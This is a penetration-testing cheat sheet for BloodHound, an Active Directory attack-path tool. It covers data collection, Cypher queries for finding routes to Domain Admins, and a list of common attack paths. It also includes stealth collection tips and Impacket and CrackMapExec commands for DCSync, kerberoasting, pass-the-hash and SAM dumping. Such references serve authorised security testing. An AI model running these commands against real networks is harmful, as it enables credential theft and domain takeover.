BloodHound
Active Directory attack path analysis tool for identifying privilege escalation paths and attack vectors.
Components
- BloodHound - Visualization interface
- SharpHound - Data collector (C#, runs on Windows)
- BloodHound.py - Python collector (runs from Linux)
- Neo4j - Graph database backend
Installation
Neo4j Database
# Install Neo4j
sudo apt install neo4j
# Or with Docker
docker run -p 7474:7474 -p 7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j:latest
# Start Neo4j
sudo neo4j start
# Access: http://localhost:7474
# Default credentials: neo4j/neo4j (change on first login)
BloodHound GUI
# Download from releases
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound
./BloodHound
# Or via apt (Kali)
sudo apt install bloodhound
SharpHound (Windows Collector)
# Download from releases
wget https://github.com/BloodHoundAD/SharpHound/releases/latest/download/SharpHound.exe
# Or PowerShell version
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.ps1
BloodHound.py (Linux Collector)
# Install via pip
pip install bloodhound
# Or from source
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py
pip install .
Data Collection
SharpHound.exe (Windows)
# All collection methods
.\SharpHound.exe -c All
# Stealth collection (LDAP only, no SMB)
.\SharpHound.exe -c DCOnly
# Specific collection methods
.\SharpHound.exe -c Session,Group,LocalAdmin,Trusts
# With domain specification
.\SharpHound.exe -c All -d domain.local
# Custom output directory
.\SharpHound.exe -c All --outputdirectory C:\Temp
# No zip output
.\SharpHound.exe -c All --NoZip
# Exclude DCs from enumeration
.\SharpHound.exe -c All --ExcludeDCs
# Throttle (delay between requests, ms)
.\SharpHound.exe -c All --Throttle 1000
# Jitter (randomness %)
.\SharpHound.exe -c All --Jitter 20
SharpHound.ps1 (PowerShell)
# Import module
Import-Module .\SharpHound.ps1
# Invoke collector
Invoke-BloodHound -CollectionMethod All
# Stealth
Invoke-BloodHound -CollectionMethod DCOnly
# Specify domain
Invoke-BloodHound -CollectionMethod All -Domain domain.local
# Custom output
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -OutputPrefix audit
bloodhound-python (Linux)
# Basic collection
bloodhound-python -u user@domain.local -p Password123 -ns 192.168.1.10 -d domain.local -c All
# With hash
bloodhound-python -u user@domain.local --hashes :NTHASH -ns 192.168.1.10 -d domain.local -c All
# Kerberos authentication
bloodhound-python -u user@domain.local -k -ns 192.168.1.10 -d domain.local -c All
# Specific collection
bloodhound-python -u user@domain.local -p pass -ns 192.168.1.10 -d domain.local -c DCOnly
# All methods
# -c All, DCOnly, Group, Session, Trusts, ACL, LocalAdmin, LoggedOn, ObjectProps, Container, PSRemote, DCOM
# Disable certificate verification
bloodhound-python -u user@domain.local -p pass -ns 192.168.1.10 -d domain.local -c All --dns-tcp
# Output directory
bloodhound-python -u user@domain.local -p pass -ns 192.168.1.10 -d domain.local -c All --zip --outputdir /tmp/bh
Scenarios
# Quick collection from Linux with DNS server specified
bloodhound-python -u user@domain.local -p Passw0rd! -ns 192.168.1.10 -d domain.local -c All
# Stealth LDAP-only collection (no SMB/session)
bloodhound-python -u user@domain.local -p Passw0rd! -ns 192.168.1.10 -d domain.local -c DCOnly
# Loop session collection to catch logons over time
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
# Import and search shortest path from owned to DA
MATCH (u:User {name:"USER@DOMAIN.LOCAL"}) SET u.owned=true
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
# Find kerberoastable and AS-REP roastable users
MATCH (u:User {hasspn:true}) RETURN u.name
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
Import Data
Using BloodHound GUI
- Start Neo4j database
- Launch BloodHound
- Login (default: neo4j/bloodhound)
- Click "Upload Data"
- Select ZIP file or JSON files
- Wait for import to complete
Command Line Import
# Import via bloodhound-python
bloodhound-import -f data.json
# Or directly to Neo4j
cat data.json | cypher-shell -u neo4j -p bloodhound
Analysis Queries
Pre-built Queries
BloodHound includes pre-built queries accessible from the GUI:
Shortest Paths:
- Shortest Path to Domain Admins
- Shortest Path from Owned Principals
- Shortest Path to Unconstrained Delegation Systems
- Shortest Path from Kerberoastable Users
Domain Information:
- Find all Domain Admins
- Find Computers with Unsupported Operating Systems
- Find Kerberoastable Users
- Find AS-REP Roastable Users
Dangerous Rights:
- Find Principals with DCSync Rights
- Find Computers where Domain Users are Local Admin
- Find Computers where Domain Users can RDP
- Find All Paths from Domain Users to High Value Targets
Custom Cypher Queries
Access via "Raw Query" at bottom of BloodHound:
# Find all Domain Admins
MATCH (n:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) MATCH (m:User)-[:MemberOf*1..]->(n) RETURN m.name
# Find all computers
MATCH (c:Computer) RETURN c.name
# Find kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.name, u.pwdlastset
# Find AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
# Find unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
# Find users with path to DA
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
# Find computers where user has admin
MATCH p=(u:User {name:"USER@DOMAIN.LOCAL"})-[:AdminTo]->(c:Computer) RETURN p
# Find all owned objects
MATCH (n) WHERE n.owned=true RETURN n
# Find path from owned to DA
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
# Find all GenericAll permissions
MATCH p=(u:User)-[:GenericAll]->(c:Computer) RETURN p
# Find WriteOwner permissions
MATCH p=(u)-[:WriteOwner]->(g:Group) RETURN p
# Find WriteDACL permissions
MATCH p=(u)-[:WriteDacl]->(g) RETURN p
# Find computers with LAPS enabled
MATCH (c:Computer) WHERE c.haslaps=true RETURN c.name
# Find users with SPN
MATCH (u:User) WHERE u.hasspn=true RETURN u.name, u.serviceprincipalnames
# Foreign domain group membership
MATCH p=(n)-[:MemberOf]->(g:Group) WHERE NOT n.domain = g.domain RETURN p
# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate
# DCSync rights
MATCH p=((n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)) RETURN p
Marking Nodes
Mark as Owned
# Mark user as owned
MATCH (u:User {name:"USER@DOMAIN.LOCAL"}) SET u.owned=true
# Mark computer as owned
MATCH (c:Computer {name:"COMPUTER.DOMAIN.LOCAL"}) SET c.owned=true
# Mark multiple users
MATCH (u:User) WHERE u.name IN ["USER1@DOMAIN.LOCAL","USER2@DOMAIN.LOCAL"] SET u.owned=true
Mark as High Value
# Mark as high value
MATCH (u:User {name:"CEO@DOMAIN.LOCAL"}) SET u.highvalue=true
# Mark group as high value
MATCH (g:Group {name:"EXECUTIVES@DOMAIN.LOCAL"}) SET g.highvalue=true
Attack Paths
Common Attack Paths
GenericAll on User:
- Reset password
- Add to group
- Targeted Kerberoasting
GenericAll on Group:
- Add member
GenericAll on Computer:
- Resource-based constrained delegation
- Shadow credentials
ForceChangePassword:
- Change user password
WriteDacl on Object:
- Grant yourself GenericAll
- Grant yourself DCSync rights
WriteOwner on Object:
- Make yourself owner
- Then modify DACL
AddMember on Group:
- Add yourself to group
Owns/GenericWrite on Computer:
- Shadow credentials attack
- RBCD
Integration with Other Tools
With Impacket
# Use discovered admin access
psexec.py domain/admin:pass@computer.domain.local
# DCSync if you have rights
secretsdump.py domain/user:pass@dc.domain.local -just-dc
# Kerberoast discovered SPNs
GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request
With CrackMapExec
# Test discovered local admin rights
crackmapexec smb 192.168.1.0/24 -u admin -H HASH
# Dump from accessible systems
crackmapexec smb targets.txt -u admin -H HASH --sam
Collection Tips
Stealth Considerations
# Minimal collection (LDAP only, very stealthy)
.\SharpHound.exe -c Group,ACL,ObjectProps,Trusts --ExcludeDCs
# No session enumeration (avoid touching workstations)
.\SharpHound.exe -c Group,ACL,ObjectProps,Trusts,LocalAdmin --ExcludeDCs
# Slow and low
.\SharpHound.exe -c All --Throttle 5000 --Jitter 30
Comprehensive Collection
# Maximum data
.\SharpHound.exe -c All,GPOLocalGroup --OutputDirectory C:\Temp
# Loop collection (capture sessions over time)
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
Troubleshooting
Connection Issues
# Check Neo4j is running
sudo systemctl status neo4j
# Check port access
nc -zv localhost 7687
# Reset Neo4j password
sudo neo4j-admin set-initial-password bloodhound
Data Import Failures
Useful Links
- BloodHound GitHub
- SharpHound GitHub
- BloodHound.py GitHub
- BloodHound Docs
- Cypher Query Language
- HackTricks BloodHound
- BloodHound Cheat Sheet
Quick Reference
# Collection (Windows)
.\SharpHound.exe -c All
# Collection (Linux)
bloodhound-python -u user -p pass -ns DC_IP -d domain.local -c All
# Start Neo4j
sudo neo4j start
# Launch BloodHound
./BloodHound
# Mark as owned
MATCH (u:User {name:"USER@DOMAIN.LOCAL"}) SET u.owned=true
# Find path to DA from owned
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
# Find kerberoastable
MATCH (u:User {hasspn:true}) RETURN u.name
# Find AS-REP roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
# Find unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name